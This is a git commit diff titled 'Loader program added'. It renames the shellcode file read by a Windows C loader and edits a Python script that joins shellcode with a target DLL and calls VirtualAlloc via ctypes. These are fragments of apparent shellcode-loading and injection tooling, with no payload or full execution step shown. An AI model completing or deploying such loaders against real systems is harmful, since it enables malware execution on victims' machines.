Loader program added

This commit is contained in:
violet-devsec
2025-08-03 22:10:06 +01:00
parent b42d9e910b
commit 8b45f0e8dc
3 changed files with 3 additions and 2 deletions
+2 -1
View File
@@ -1,11 +1,12 @@
#include <windows.h>
#include <tchar.h>
#include <stdio.h>
int main()
{
DWORD bytesRead;
BOOL fileReadSuccess, filePermChangeSuccess, processCreateSuccess;
const TCHAR* filePath = _T("shellcode.h");
const TCHAR* filePath = _T("shellcode.bin");
printf("Loader started!\n");
printf("Shellcode path: %s\n", filePath);
BIN
View File
Binary file not shown.
+1 -1
View File
@@ -368,7 +368,7 @@ shellcode = bytearray(sh)
print(shellcode)
# Write the (shellcode+target_dll) to a file for later use
with open("target.dll", "rb") as dll_file:
with open("shellcode.sh", "wb") as binary_file:
with open("shellcode.bin", "wb") as binary_file:
shellcode += dll_file.read()
binary_file.write(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p